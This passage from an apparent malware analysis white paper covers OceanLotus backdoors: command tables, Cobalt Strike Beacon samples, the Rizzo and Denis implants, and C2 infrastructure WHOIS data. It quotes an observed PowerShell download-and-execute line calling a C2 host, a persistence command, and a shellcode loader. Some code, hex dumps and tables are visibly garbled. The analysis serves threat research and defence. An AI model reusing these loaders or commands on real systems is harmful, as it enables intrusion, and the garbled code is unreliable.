<td>CSIDL, file name, desired access, share mode, creation disposition, attributes</td>
<td>Write specified file</td>
</tr>
<tr>
<td>0x0973061D</td>
<td>Key, subkey, desired access, value name, type, data</td>
<td>Create registry key and set specified value</td>
</tr>
<tr>
<td>0x02FOE15</td>
<td>CSIDL, file name</td>
<td>Delete specified file</td>
</tr>
<tr>
<td>0x0170E4F7</td>
<td>-</td>
<td>Query &quot;Counter&quot; value under [HKLM</td>
</tr>
<tr>
<td>0x0B349923</td>
<td>Flags, desired access, inherit handle</td>
<td>Enumerate process modules (format: &quot;;pid; module_name&quot;)</td>
</tr>
<tr>
<td>0x070A23FA</td>
<td>Key, subkey, desired access, value name</td>
<td>Query specified registry value</td>
</tr>
<tr>
<td>0x28769F05</td>
<td>list of socket options to set</td>
<td>Set socket options</td>
</tr>
<tr>
<td>0x0B799642</td>
<td>Destination CSIDL, destination file name, user agent, access type, flags 1, server name, port, HTTP verb, resource name, flags 2</td>
<td>Download file using WinHTTP APIs</td>
</tr>
<tr>
<td>0x051E9D96</td>
<td>Source CSIDL, source filename, destination CSIDL, destination file name, flags</td>
<td>Move file</td>
</tr>
<tr>
<td>0x2D882E6F</td>
<td>Network resource, WQL query</td>
<td>Execute WMIC query</td>
</tr>
<tr>
<td>0x18443920</td>
<td>CSIDL, file names and export names, unload bool, error mode</td>
<td></td>
</tr>
</tbody>
</table>

**Backdoor Error Codes**

<table>
<thead>
<tr>
<th>Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x02D2C5E1</td>
<td>Network monitor found</td>
</tr>
<tr>
<td>0x387827FB</td>
<td>Socket connection error</td>
</tr>
<tr>
<td>0x049511C</td>
<td>Error while receiving/parsing a command</td>
</tr>
<tr>
<td>0x05ECCAB7</td>
<td>Error while processing a command</td>
</tr>
<tr>
<td>0x00B09E93</td>
<td>Error while parsing command parameters</td>
</tr>
<tr>
<td>0x00CE92B0</td>
<td>Error while sending response</td>
</tr>
<tr>
<td>0x04378165</td>
<td>Error allocating memory</td>
</tr>
<tr>
<td>0x018260B2</td>
<td>Generic try/catch error in C2 communication routine</td>
</tr>
<tr>
<td>0x00FBBF3D</td>
<td>Generic try/catch error in C2 communication routine</td>
</tr>
<tr>
<td>0x059EE959</td>
<td>Generic try/catch error in command processor routine</td>
</tr>
<tr>
<td>0x04E3FB5A</td>
<td>Generic try/catch error in parameter parsing routine</td>
</tr>
</tbody>
</table>
CobaltStrike Beacon #1

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aliases</td>
<td>PowerShell/Win32 PE (DLL)</td>
</tr>
<tr>
<td>Size</td>
<td>279 KB (286,001 bytes)</td>
</tr>
<tr>
<td>Type</td>
<td>user.ico</td>
</tr>
<tr>
<td>File Name</td>
<td>November 2017</td>
</tr>
<tr>
<td>Observed</td>
<td>November 2017</td>
</tr>
</tbody>
</table>

**Overview**

This PowerShell script unpacks a copy of Beacon from the Cobalt Strike penetration testing framework.

When launched, it tries to reach adstripstravel.com/activity over HTTP (the same host it was originally downloaded from):

![Figure 52: C2 Traffic from Beacon DLL](image)

Is this a modified version of Beacon or straight out-of-the-box?

The single exported function common to the Beacon DLL provides a pivot, linking a further 260 samples. Similarity between these and our payload is measured using the command line tool "tlsh". From this, we determine 201 samples have a score of <=64 (out of 1000; i.e., very similar). BinDiff indicates the closest matching sample is 96% similar.

Comparison between the closest matching sample and our payload DLL reveals a lack of HTTP proxy support. This feature was added in Cobalt Strike 3.7. A further two unmatched functions in our pivot sample add support for file copying and moving – another feature added in Cobalt Strike 3.7.

![Figure 53: Proxy support in pivot sample](image)

![Figure 54: Null proxy arguments in payload DLL](image)
The pivot sample also includes functions relating to process manipulation. Version 3.8 of Beacon released in May 2017, added the "ppid" command "to enable consent.exe to launch elevated processes with the non-elevated requester as the parent".

There are no primary unmatched functions, meaning the payload DLL is an unmodified version of Beacon from Cobalt Strike 3.6 or earlier.

**Deployment**

The following event was observed during forensic investigations:

```powershell
IEX((new-object net.webclient).downloadstring('http://adstripstravel.com/user.ico'))
```

**CobaltStrike Beacon #2**

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Size</td>
<td>282 KB (289,385 bytes)</td>
</tr>
<tr>
<td>Type</td>
<td>PowerShell/Shellcode</td>
</tr>
<tr>
<td>File Name</td>
<td>img.png</td>
</tr>
<tr>
<td>Observed</td>
<td>November 2017</td>
</tr>
</tbody>
</table>

**Overview**

This PowerShell script contains a simple shellcode backdoor operated over named pipe and appears to be a component relating to CobaltStrike Beacon's malleable C2. Several versions of this backdoor have been observed using subtly different pipe names with the format:

```
\\pipe\status_# (where # is replaced with an integer)
```

**Deployment**

The following event was observed during forensic investigations:

Figure 57: PowerShell event

The decoded PowerShell evaluates to:

```
```

Figure 58: Simple PowerShell downloader

**Behavior**
The downloaded payload was ultimately executed as a service to maintain persistence:

```
System/Service Control Manager ID [7045] :EventData/Data -> ServiceName = b8d0bfd ImagePath = %COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -encodedcommand <Base64 encoded command>
```

Figure 59: System event showing PowerShell one-liner service

The Base64 encoded command from the event decodes to:
Set-StrictMode -Version 2

$DoIt = @'

function func_get_proc_address ($var_module, $var_procedure)
{
    Param ($var_module, $var_procedure)


}

function func_get_delegate_type {
    Param (]
        [Parameter(Position = 0, Mandatory = $True)] $var_parameters,
        [Parameter(Position = 1)] $var_return_type = [Void]
    )


    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions::Standard, $var_parameters].SetImplementationFlags('Runtime, Managed'))

    $var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()}

[Byte[]]$var_code = [System.Convert::FromBase64String("/OiJAAAAYtn1mJk1i1w1m1UI3Od7KJjB/McC8gPgF8Aiwgwc8NAcfl0FJX11Q108AdCLQH1IwHRKAdBQ10gY1IggAdPjPEmLNIb1JH/McC8w8NAsc44HX0A34030kdeJYi1gAdNmixwL1gAdOLBisB011EJCRbW2FzW1H/4Ff:Wo6sL64ddMccQGg6EAAAAP//BwBwAg8hYpFPP/1V9V6agAAABBmIlRUWgAsQAaACwBAbqAwogNSasuEw39T/1VCLaFRaIFJ0K994v/VhCB0bmoaQgBqBAInmgYBElKdWgiLfcQMgMBWagRsv2i7n1+7/9WLVCCqagBNaAagABSV2i7n1+7/9WwHQUiOwBi8eJAHIqKQkIqKAEHC69eLFcQMv2Ja+38/9VXaNawH1L/1YsEJtJtMjAg5wYgHApCIo1b/1f9kJBdoU///1xcL1xwaXB1XHN0YXR1c180NTk4AA==")

$var_buffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer('func_get_proc_address kernel32.dll VirtualAlloc', (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr]))).Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)

$var_hthread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer('func_get_proc_address kernel32.dll CreateThread', (func_get_delegate_type @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]))).Invoke([IntPtr]::Zero, $var_buffer,[IntPtr]::Zero, 4, [IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer('func_get_proc_address kernel32.dll WaitForSingleObject', (func_get_delegate_type @([IntPtr], [Int32]))).Invoke($var_hthread, 0xffffffff) | Out-Null

If ([IntPtr]::size -eq 8)
{
    start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else
{
    IEX $DoIt
}

Figure 60: DKMC PowerShell shellcode loader

Malware Analysis White Paper: The SpyRATs of OceanLotus
The above code is used to execute arbitrary shellcode, and appears to be based on exec-sc.ps1 from DKMC (Don't Kill My Cat):
https://github.com/Exploit-install/DKMC/blob/master/core/util/exec-sc.ps1

The injected shellcode payload (stored in $var_code) creates a named pipe called "\pipe\status_4598":

```
00000000 FC E8 80 80 00 00 00 80 E5 31 D2 64 8B 52 30 8B  31 D2 64 8B 52 30 8B  30 8B  30 8B  30 8B  30 8B  30 8B  30 8B  30 8B  30 8B
00000010 52 0C 88 52 14 88 72 26 6F 87 44 26 31 FF 31 C0  52 0C 88 52 14 88 72 26 6F 87 44 26 31 FF 31 C0  52 0C 88 52 14 88 72 26 6F 87
00000020 CF 6D 61 C7 E2 F0 52 27 .<a>, ......... 00000030 8D 52 16 66 42 3C 61 D6 8D 4E 65 65 4C 74 44 01  8D 52 16 66 42 3C 61 D6 8D 4E 65 65 4C 74 44 01  8D 52 16 66 42 3C 61 D6 8D 4E
00000040 4E 65 65 4C 74 44 01 8D 3D 63 83 49 8B 34 8B  4E 65 65 4C 74 44 01 8D 3D 63 83 49 8B 34 8B  4E 65 65 4L 74 44 01 8D 3D 63 83 49
00000050 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B  34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34
00000060 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B  34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34 8B 34
00000070 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24  8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61
00000080 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6  89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88
00000090 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
000000A0 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
000000B0 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
000000C0 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
000000D0 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
000000E0 88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3  88 04 88 61 D6 89 44 24 8B 48 88 58 1C 61 D3 88 04 88 61 D6 89 44 24 8B 48 88
```

Figure 61: Shellcode payload

Any data read from the named pipe is executed directly as shellcode, allowing the threat actor to deploy additional payloads.

**Rizzo**

<table>
<thead>
<tr>
<th>Classification</th>
<th>Malware/Backdoor</th>
</tr>
</thead>
<tbody>
<tr>
<td>Aliases</td>
<td>PHOREAL (FireEye)</td>
</tr>
<tr>
<td>Size</td>
<td>304KB</td>
</tr>
<tr>
<td>Type</td>
<td>Win32 PE (DLL)</td>
</tr>
<tr>
<td>File Name</td>
<td>mobsync.exe</td>
</tr>
<tr>
<td>Observed</td>
<td>2018</td>
</tr>
</tbody>
</table>

**Overview**

Rizzo is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53.

**Behavior**

Upon execution of the exported “DllEntry” function, Rizzo proceeds to initialize Winsock 2.2 before creating a run once mutex:

```
Local\{5FBC3F53-A76D-4248-969A-31740C8C8AD6}
```

Figure 62: Rizzo run-once mutex

The malware then tries to resolve the hardcoded C2 domain names. The list of domains are stored in an RC4 encrypted RT RCDATA/2 resource.
The backdoor also sets two values, “T” and “U”, under the HKCU\SOFTWARE\Microsoft\SkyDrive\{87F4F1B2-824E-420F-8B48-4EBB575C2A7B} registry key. The registry path is stored as a stack-based, RC4 encrypted string:

```
push 0x7f / size_t
lea  ecx, [ebp+rc4_keystream+1]
lea  ecx, [ebp+rc4_keystream]
mov  [ebp+var_4], esi
push  esi ; int
push  ecx ; void *
mov  [ebp+var_1D4], 1
mov  [ebp+rc4_keystream], al
call memcpy
lea  eax, [ebp+rc4_key]
xor edx, edx
lea  edi, [esi+17] ; key len
push  eax
lea  esi, [ebp+rc4_keystream]
mov  [ebp+var_CC], dx
call rc4_schedule_key
lea  ecx, [ebp+enc_string]
push  ecx
lea  ecx, [edi+60h] ; string len (0x17 + 0x6D)
lea  edx, [ebp+enc_string]
mov  eax, esi ; key
mov  ecx, [soft\Microsoft\SkyDrive\{87F4F1B2-824E-420F-8B48-4EBB575C2A7B}]
mov  eax, [ebp+var_100]
```
**C2 Protocol**

In order to bypass firewalls and fly under the radar, the backdoor uses the ICMP protocol to communicate with the C2 server.

```assembly
add esp, 10h
mov [esi+c2.buffer], edi
mov [esi+c2.icmp_reply_buffer], edi
call ds:ICmpCreateFile
mov ebx, ds:CreateEventW
push edi ; lpName
push edi ; bInitialState
push edi ; bManualReset
push edi ; lpEventAttributes
mov [esi+c2.icmp_handle], eax
call ebx ; CreateEventW
push edi ; lpName
push edi ; bInitialState
push edi ; bManualReset
push edi ; lpEventAttributes
mov [esi+c2.event_handle_1], eax
call ebx ; CreateEventW
mov [esi+c2.event_handle_2], eax
```

*Figure 67: Creating an ICMP handle*

```assembly
mov ecx, [esp+104h+icmp_struct]
mov eax, [ecx+icmp.req_size]
mov edi, [esp+104h+RequestData]
add esp, 10h
add eax, 1Ch
mov [ebx+c2.req_size], eax
mov edi, [ecx+icmp.timeout]
movzx ecx, word ptr [ecx+icmp.req_size]
push edi ; Timeout
mov edi, [ebx+c2.destination_address]
push eax ; ReplySize
mov eax, [ebx+c2.icmp_reply_buffer]
push eax ; ReplyBuffer
mov eax, [ebx+c2.icmp_handle]
push 0 ; RequestOptions
push ecx ; RequestSize
push edi ; RequestData
push edx ; DestinationAddress
push eax ; IcmpHandle
call ds:ICmpSendEcho
```

*Figure 68: Backdoor communication through ICMP*

The C2 command packets have the following format:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4 bytes</td>
<td>Magic, or session ID</td>
</tr>
<tr>
<td>0x0004</td>
<td>4 bytes</td>
<td>Command code</td>
</tr>
<tr>
<td>0x0008</td>
<td>variable</td>
<td>Command parameters</td>
</tr>
</tbody>
</table>

The backdoor response header consists of the following information:

<table>
<thead>
<tr>
<th>Offset</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0000</td>
<td>4 bytes</td>
<td>Magic/ID (copied from the request)</td>
</tr>
<tr>
<td>0x0004</td>
<td>4 bytes</td>
<td>Length of header (hardcoded 0x0C)</td>
</tr>
<tr>
<td>0x0008</td>
<td>4 bytes</td>
<td>Error code</td>
</tr>
<tr>
<td>0x000C</td>
<td>4 bytes</td>
<td>Original data size</td>
</tr>
<tr>
<td>0x0010</td>
<td>4 bytes</td>
<td>Compressed data size</td>
</tr>
<tr>
<td>0x0014</td>
<td>Variable</td>
<td>Compressed response</td>
</tr>
</tbody>
</table>
### Commands

<table>
<thead>
<tr>
<th>Command Code</th>
<th>Parameters</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>3</td>
<td>Application name Command line</td>
<td>Create process</td>
</tr>
<tr>
<td>4</td>
<td>Path</td>
<td>Copy specified file to %TEMP% folder</td>
</tr>
<tr>
<td>5</td>
<td>Command line</td>
<td>Reverse shell</td>
</tr>
<tr>
<td>6</td>
<td>File name Compressed data</td>
<td>Decompress data sent by C2 and write it to a specified file on disk</td>
</tr>
<tr>
<td>7</td>
<td>Value data</td>
<td>Set registry value &quot;U&quot; under SOFTWARE\Microsoft\SkyDrive(87F4F1B2-824E-420F-8B48-4E8B575C2A7B) key to provided data</td>
</tr>
<tr>
<td>8</td>
<td>-</td>
<td>Enumerate windows</td>
</tr>
<tr>
<td>15</td>
<td>Path</td>
<td>Directory listing</td>
</tr>
<tr>
<td>16</td>
<td>Existing file path New file path</td>
<td>Move file</td>
</tr>
<tr>
<td>17</td>
<td>Path</td>
<td>Delete file</td>
</tr>
<tr>
<td>18</td>
<td>-</td>
<td>Get logical drives</td>
</tr>
<tr>
<td>19</td>
<td>Path</td>
<td>Create directory</td>
</tr>
<tr>
<td>20</td>
<td>Path</td>
<td>Remove directory</td>
</tr>
</tbody>
</table>

### Denis

**Classification**  
Malware/Backdoor

**Aliases**  
SOUNDBITE (FireEye)

**Size**  
< 300KB

**Type**  
Win32 PE (EXE)

**File Name**  
CiscoEapFast.exe, WerFault.exe, SwUSB.exe, msprivs.exe, SndVolSSO.exe

**Observed**  
2016

**Overview**  
Denis is a simple backdoor developed by the OceanLotus Group, well observed in-the-wild and renowned for using DNS tunneling as a transport mechanism for C2 communications.

Denis is typically deployed early in the attack lifecycle, and it appears to be less tailored/targeted than the more advanced backdoors that are utilized once a foothold has been established within an environment.

**Behavior**  
Upon execution, Denis imports the bulk of its runtime APIs dynamically, with the DLL and function names encoded as stack-based strings:
These UNICODE strings are decoded using byte level add/subtract, depending on the variant:

```c
    do
    {
        *(WORD*)v0 += 128;
        v0 = (int*)((char*)v0 + 2);
    }
    while ( *(WORD*)v0 );
```

This technique is used heavily amongst APT32 backdoors (for example Remy below):

```asm
mov [ebp+var_198], 4C4D473Eh
mov [ebp+var_1A4], b1
mov [ebp+var_D0], 1C1A2C30h
mov [ebp+var_CC], 3E4C4845h
mov [ebp+var_B0], 473E4F1Eh
mov [ebp+var_C4], 40h
mov [ebp+var_A4], 2C1A2C30h
mov [ebp+var_A0], 4F1E4D3Eh
mov [ebp+var_9C], 4D473Eh
mov [ebp+var_74], 4D3E4742h
mov [ebp+var_70], 484D4738h
mov [ebp+var_6C], 3Ah
mov [ebp+var_E0], 281A2C30h ; WSStartup:WSAGetLastError

    loc_4023B3:       
    add    word ptr [eax], 27h
    add    eax, 2
    cmp    [eax], bx
    jnz    short loc_4023B3
```

Figure 69: Denis import DLL and function names encoded on the stack

Figure 70: ADD 0x80 string decoding

Figure 71: Remy stack-based string decoding
After importing APIs, Denis will typically create a mutex to prevent multiple instances running, before decoding the DNS names used for C2 tunneling in much the same way as API/function names:

```
v203 = 0xA8F1F38F; // ns1.cheapdns.com
v204 = 0xBF1F5EE3;
v205 = 0xCE4C4F2;
v206 = 0x6E3AEF3;
v207 = 0x6ED;
for ( k = &v203; *(BYTE *)k; k = (int *)(char *)k + 1 )
    *(BYTE *)k += -128;
v195 = 0x2F1F38F3; // search.ultraqueryns.bf
v196 = 0x6E3AEF3;
v197 = 0x6CE;
v198 = 0x2F1F38F3;
v199 = 0x6E3AEF3;
v200 = 0x6E3AEF3;
v201 = 0x6E3AEF3;
for ( l = &v195; *(BYTE *)l; l = (int *)(char *)l + 1 )
    *(BYTE *)l += -128;
```

Figure 72: Denis C2 domain name decoding

After decoding and reading configuration stored in the registry, Denis will create a thread to communicate with the C2 server, typically supporting the following commands:

<table>
<thead>
<tr>
<th>Command Code</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01</td>
<td>Load DLL and run exported function</td>
</tr>
<tr>
<td>0x02</td>
<td>Unload DLL</td>
</tr>
<tr>
<td>0x03</td>
<td>Create process (hidden)</td>
</tr>
<tr>
<td>0x04</td>
<td>Read file</td>
</tr>
<tr>
<td>0x05</td>
<td>Run cmd.exe with redirected stdout</td>
</tr>
<tr>
<td>0x06/0x07</td>
<td>Write file</td>
</tr>
<tr>
<td>0x0a</td>
<td>Enumerate windows</td>
</tr>
<tr>
<td>0x0b</td>
<td>Set registry value</td>
</tr>
<tr>
<td>0x0c</td>
<td>Get registry value</td>
</tr>
<tr>
<td>0x0f</td>
<td>List directory</td>
</tr>
<tr>
<td>0x10</td>
<td>Move file</td>
</tr>
<tr>
<td>0x11</td>
<td>Delete file</td>
</tr>
<tr>
<td>0x12</td>
<td>Get logical drive information</td>
</tr>
<tr>
<td>0x13</td>
<td>Create directory</td>
</tr>
<tr>
<td>0x14</td>
<td>Delete directory</td>
</tr>
</tbody>
</table>
C2 data is Base64 encoded and prepended to one of several configured domain names, before being transmitted via DNS request, typically routed via a DNS forwarder:

Figure 73: Denis DNS tunneling

Denis samples have been observed using a variety of forwarders and name servers for C2, as well as using NULL/TEXT/CNAME records to embed encoded data, depending on configuration.

**Network Intelligence**

Network intelligence was initially obtained during November 2017.

**167.114.44.146**

All C2 domains were registered using Privacy Guardian on August 21, 2017. All host names resolve to the same Canadian IP address (167.114.44.146).

**Whois**

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>WhoIS Server</td>
<td>whois.ari.net</td>
</tr>
<tr>
<td>Registrar</td>
<td>Administered by ARIN</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:abuse@ovh.ca">abuse@ovh.ca</a> (admin) <a href="mailto:noc@ovh.net">noc@ovh.net</a> (tech)</td>
</tr>
<tr>
<td>Name</td>
<td>OVH Hosting, Inc. (registrant) Abuse (admin) NOC (tech)</td>
</tr>
<tr>
<td>Organization</td>
<td>800-1801 MAGILL COLLEGE (registrant)</td>
</tr>
<tr>
<td>City</td>
<td>Montreal (registrant)</td>
</tr>
<tr>
<td>State</td>
<td>QC (registrant)</td>
</tr>
<tr>
<td>Postal</td>
<td>M3A 2N4 (registrant)</td>
</tr>
<tr>
<td>Country</td>
<td>CA (registrant)</td>
</tr>
</tbody>
</table>
Domains

<table>
<thead>
<tr>
<th>Resolve</th>
<th>First</th>
</tr>
</thead>
<tbody>
<tr>
<td>far.ordanuy.com</td>
<td>2017-11-09</td>
</tr>
<tr>
<td>dyndns.yceunca.com</td>
<td>2017-11-09</td>
</tr>
<tr>
<td>happy.abelieds.com</td>
<td>2017-11-08</td>
</tr>
<tr>
<td>home.runnerfd.com</td>
<td>2017-11-08</td>
</tr>
<tr>
<td>ns1 arma3projectlife.com</td>
<td>2015-12-11</td>
</tr>
<tr>
<td>ns1 faceless.at</td>
<td>2016-10-07</td>
</tr>
</tbody>
</table>

First seen

![First seen diagram](image-url)
### WHOIS

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>WHOIS Server</td>
<td>whois.ripe.net</td>
</tr>
<tr>
<td>Registrar</td>
<td>RIPE NCC</td>
</tr>
<tr>
<td>Email</td>
<td>ripedlomart.com (registrant)</td>
</tr>
<tr>
<td></td>
<td><a href="mailto:abuse@rapidswitch.com">abuse@rapidswitch.com</a> (admin)</td>
</tr>
<tr>
<td>Name</td>
<td>Abuse Robot (admin, tech)</td>
</tr>
<tr>
<td>Organization</td>
<td>Iomart Hosting Limited (registrant)</td>
</tr>
<tr>
<td>Street</td>
<td>Spectrum House, Clivemont Road (registrant)</td>
</tr>
<tr>
<td></td>
<td>Iomart Hosting Ltd t/a RapidSwitch (admin)</td>
</tr>
<tr>
<td>City</td>
<td>Maidenhead (registrant)</td>
</tr>
<tr>
<td></td>
<td>Spectrum House (admin)</td>
</tr>
<tr>
<td>State</td>
<td></td>
</tr>
<tr>
<td>Postal</td>
<td>SL6 7FW (registrant)</td>
</tr>
<tr>
<td></td>
<td>Clivemont Road (admin)</td>
</tr>
<tr>
<td>Country</td>
<td>UNITED KINGDOM (registrant)</td>
</tr>
<tr>
<td></td>
<td>Maidenhead (admin)</td>
</tr>
<tr>
<td>Phone</td>
<td>441753471040 (registrant)</td>
</tr>
<tr>
<td></td>
<td>44 01753 471 040 (admin)</td>
</tr>
<tr>
<td>NameServers</td>
<td></td>
</tr>
</tbody>
</table>

### Domains

<table>
<thead>
<tr>
<th>Resolve</th>
<th>First</th>
<th>Last</th>
</tr>
</thead>
<tbody>
<tr>
<td>adstripstravel.com</td>
<td>2017-07-20</td>
<td>2017-11-09</td>
</tr>
</tbody>
</table>

### First seen

![Image of first seen dates]

2017-07-20
First Seen
adstripstravel.com
Unique Resolutions
adstripstravel.com
Click to Filter
### 27.102.67.42

**Whois**

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>WHOIS Server</td>
<td>whois.apnic.net</td>
</tr>
<tr>
<td>Registrar</td>
<td>ARIN</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:tech@daoul.com">tech@daoul.com</a> (admin, tech)</td>
</tr>
<tr>
<td>Name</td>
<td>DAOU TECHNOLOGY (registrant)</td>
</tr>
<tr>
<td>Organization</td>
<td>DAOU (registrant)</td>
</tr>
<tr>
<td>Street</td>
<td>Gyeonggi-do Suji-gu, Yongin-si Digital valley-ro (admin, tech)</td>
</tr>
<tr>
<td>City</td>
<td>Gyeonggi-do Suji-gu, Yongin-si Digital valley-ro (admin, tech)</td>
</tr>
<tr>
<td>State</td>
<td></td>
</tr>
<tr>
<td>Postal</td>
<td>81 (admin, tech)</td>
</tr>
<tr>
<td>Country</td>
<td></td>
</tr>
<tr>
<td>Phone</td>
<td>827087950790 (admin, tech)</td>
</tr>
<tr>
<td>Nameservers</td>
<td></td>
</tr>
</tbody>
</table>

### 89.249.65.134

**Whois**

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>WHOIS Server</td>
<td>whois.ripe.net</td>
</tr>
<tr>
<td>Registrar</td>
<td>RIPE NCC</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:abuse@m247.com">abuse@m247.com</a> (admin, tech)</td>
</tr>
<tr>
<td>Name</td>
<td>M247 LTD Frankfurt Infrastructure (registrant)</td>
</tr>
<tr>
<td>Organization</td>
<td>M247-LTD-Frankfurt (registrant)</td>
</tr>
<tr>
<td></td>
<td>GLOBALAXS DE NOC (admin)</td>
</tr>
<tr>
<td>Street</td>
<td>Hanauer Landstraße 302, Hessen (admin, tech)</td>
</tr>
<tr>
<td>City</td>
<td>60314, Frankfurt, Germany (admin, tech)</td>
</tr>
<tr>
<td>State</td>
<td></td>
</tr>
<tr>
<td>Postal</td>
<td></td>
</tr>
<tr>
<td>Country</td>
<td>DE (registrant, admin, tech)</td>
</tr>
</tbody>
</table>
Domains

RESOLUTIONS

<table>
<thead>
<tr>
<th>Domain</th>
<th>First</th>
<th>Last</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td>rss.honoremanson.com</td>
<td>2017-11-14</td>
<td>2018-04-05</td>
<td>kaspersky, mmemonic, pingly, riskiq, virustotal</td>
</tr>
<tr>
<td>ssl.wolfgangneudorf.com</td>
<td>2017-11-14</td>
<td>2018-02-26</td>
<td>kaspersky, mmemonic, pingly, riskiq, virustotal</td>
</tr>
<tr>
<td>repo.paigeherzig.com</td>
<td>2017-11-14</td>
<td>2018-03-26</td>
<td>kaspersky, mmemonic, pingly, riskiq, virustotal</td>
</tr>
<tr>
<td>vm.rebatetsukgov.co.uk</td>
<td>2017-02-22</td>
<td>2018-01-10</td>
<td>riskiq</td>
</tr>
<tr>
<td>ns1.rebatetsukgov.co.uk</td>
<td>2017-02-18</td>
<td>2018-01-10</td>
<td>mmemonic, riskiq</td>
</tr>
<tr>
<td>ns2.rebatetsukgov.co.uk</td>
<td>2017-02-18</td>
<td>2018-01-10</td>
<td>mmemonic, riskiq</td>
</tr>
<tr>
<td>applied-apple-com.page-manage.center</td>
<td>2017-02-18</td>
<td>2017-03-16</td>
<td>riskiq</td>
</tr>
<tr>
<td>online.hmrc-return-gov.co.uk</td>
<td>2017-02-24</td>
<td>2017-03-16</td>
<td>riskiq</td>
</tr>
<tr>
<td>hmrc-return-gov.co.uk</td>
<td>2017-03-15</td>
<td>2017-03-16</td>
<td>riskiq</td>
</tr>
<tr>
<td>form.hmrc.gov.uk</td>
<td>2017-03-14</td>
<td>2017-03-15</td>
<td>riskiq</td>
</tr>
<tr>
<td>page-manage.center</td>
<td>2017-02-20</td>
<td>2017-03-13</td>
<td>riskiq</td>
</tr>
<tr>
<td>online.hmrc-gov-revenue.co.uk</td>
<td>2017-03-06</td>
<td>2017-03-13</td>
<td>riskiq</td>
</tr>
</tbody>
</table>

First Seen

89.249.65.134

185.244.213.28

Whois

<table>
<thead>
<tr>
<th>Attribute</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>WHOIS Server</td>
<td>whois.ripe.net</td>
</tr>
<tr>
<td>Registrar</td>
<td>RIPE NCC</td>
</tr>
<tr>
<td>Email</td>
<td><a href="mailto:abuse@m247.com">abuse@m247.com</a> (admin, tech)</td>
</tr>
<tr>
<td>Name</td>
<td>M247 LTD Paris Infrastructure (registrant)</td>
</tr>
<tr>
<td>Organization</td>
<td>M247 LTD-Paris (registrant) GLOBALAXIS NOC PARIS (admin)</td>
</tr>
<tr>
<td>Street</td>
<td>114 Rue Ambroise Croizat (admin, tech)</td>
</tr>
<tr>
<td>City</td>
<td>93200, St. Denis, Paris, France (admin, tech)</td>
</tr>
<tr>
<td>State</td>
<td></td>
</tr>
<tr>
<td>Postal</td>
<td></td>
</tr>
<tr>
<td>Country</td>
<td>FR (registrant, admin, tech)</td>
</tr>
</tbody>
</table>
**Conclusions**

